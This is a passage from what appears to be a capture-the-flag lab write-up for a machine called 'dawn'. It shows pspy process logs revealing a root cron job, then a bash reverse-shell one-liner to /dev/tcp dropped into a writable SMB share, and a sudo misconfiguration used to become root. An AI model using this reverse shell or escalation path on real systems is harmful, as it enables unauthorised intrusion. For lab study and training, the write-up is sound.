216	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=797	/usr/sbin/CRON -f
	[0m			
217	2021/11/25 02:20:01	[31;1mCMD: UID=0	PID=796	/usr/sbin/CRON -f
	[0m			
218	2021/11/25 02:20:09	[31;1mCMD: UID=0	PID=807	/lib/systemd/
	systemd-udevd [0m			
219	2021/11/25 02:20:09	[31;1mCMD: UID=0	PID=806	/lib/systemd/
	systemd-udevd [0m			
220	2021/11/25 02:20:14	[31;1mCMD: UID=0	PID=808	[0m
221	2021/11/25 02:20:29	[31;1mCMD: UID=0	PID=810	/lib/systemd/
	systemd-udevd [0m			
222	2021/11/25 02:20:29	[31;1mCMD: UID=0	PID=809	/lib/systemd/
	systemd-udevd [0m			

223	2021/11/25 02:20:40 [31;1mCMD: UID=0	PID=811	/usr/sbin/smbd --
	foreground --no-process-group [0m		
224	2021/11/25 02:20:49 [31;1mCMD: UID=0	PID=813	/lib/systemd/
	systemd-udevd [0m		
225	2021/11/25 02:20:49 [31;1mCMD: UID=0	PID=812	/lib/systemd/
	systemd-udevd [0m		
226	2021/11/25 02:21:01 [31;1mCMD: UID=0	PID=818	/usr/sbin/CRON -f
	[0m		
227	2021/11/25 02:21:01 [31;1mCMD: UID=0	PID=817	/usr/sbin/CRON -f
	[0m		
228	2021/11/25 02:21:01 [31;1mCMD: UID=0	PID=816	/usr/sbin/cron -f
	[0m		
229	2021/11/25 02:21:01 [31;1mCMD: UID=0	PID=815	/usr/sbin/cron -f
	[0m		
230	2021/11/25 02:21:01 [31;1mCMD: UID=0	PID=814	/usr/sbin/cron -f
	[0m		
231	2021/11/25 02:21:09 [31;1mCMD: UID=0	PID=830	/lib/systemd/
	systemd-udevd [0m		
232	2021/11/25 02:21:09 [31;1mCMD: UID=0	PID=829	/lib/systemd/
	systemd-udevd [0m		
233	2021/11/25 02:21:29 [31;1mCMD: UID=0	PID=832	/lib/systemd/
	systemd-udevd [0m		
234	2021/11/25 02:21:29 [31;1mCMD: UID=0	PID=831	/lib/systemd/
	systemd-udevd [0m		
235	2021/11/25 02:21:49 [31;1mCMD: UID=0	PID=834	/lib/systemd/
	systemd-udevd [0m		
236	2021/11/25 02:21:49 [31;1mCMD: UID=0	PID=833	/lib/systemd/
	systemd-udevd [0m		
237	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=839	/usr/sbin/CRON -f
	[0m		
238	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=838	/usr/sbin/CRON -f
	[0m		
239	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=837	/usr/sbin/cron -f
	[0m		
240	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=836	/usr/sbin/cron -f
	[0m		
241	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=835	/usr/sbin/cron -f
	[0m		
242	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=840	/usr/sbin/CRON -f
	[0m		
243	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=845	/bin/sh -c chmod
	777 /home/dawn/ITDEPT/web-control [0m		
244	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=844	/usr/sbin/CRON -f
	[0m		
245	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=843	/usr/sbin/CRON -f
	[0m		
246	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=842	/usr/sbin/CRON -f
	[0m		
247	2021/11/25 02:22:01 [31;1mCMD: UID=0	PID=841	/bin/sh -c chmod
	777 /home/dawn/ITDEPT/web-control [0m		
248	2021/11/25 02:22:09 [31;1mCMD: UID=0	PID=851	/lib/systemd/


```
systemd-udevd [0m
249 2021/11/25 02:22:09 [31;1mCMD: UID=0 PID=850 | /lib/systemd/
systemd-udevd [0m
250 2021/11/25 02:22:19 [31;1mCMD: UID=0 PID=852 | /usr/sbin/apache2
-k start [0m
251 2021/11/25 02:22:29 [31;1mCMD: UID=0 PID=854 | /lib/systemd/
systemd-udevd [0m
252 2021/11/25 02:22:29 [31;1mCMD: UID=0 PID=853 | /lib/systemd/
systemd-udevd [0m
```

Upon inspecting the **management.log**, I realized that the system has a **CRON** running that:

- executes **pspy (64 bit)** and passes the output to **management.log**
- executes **chmod 777** to **web-control** file located in **/home/dawn/ITDEPT**

as we can see, the **ITDEPT** directory is the same as the file share that showed up way back in our recon phase using **SMBMAP**. Knowing that it is writable, let's try to upload a simple bash script that would reach out back to us

```
1 bash -i >& /dev/tcp/192.168.0.106 0>&1
```

after a couple of mins, we got a shell!

Privilege Escalation

After gaining access, let's check if we have some kind of privilege to execute something as other users:

```
1 www-data@dawn:/$ sudo -l
2 sudo -l
3 Matching Defaults entries for www-data on dawn:
4     env_reset, mail_badpass,
5     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
6     sbin\:/bin
7 User www-data may run the following commands on dawn:
8     (root) NOPASSWD: /usr/bin/sudo
```

Using the command **sudo -l**, we knew we can just simply escalate our privileges to root.

```
1 www-data@dawn:/$ sudo -u root sudo su
2 sudo -u root sudo su
3 whoami
4 root
```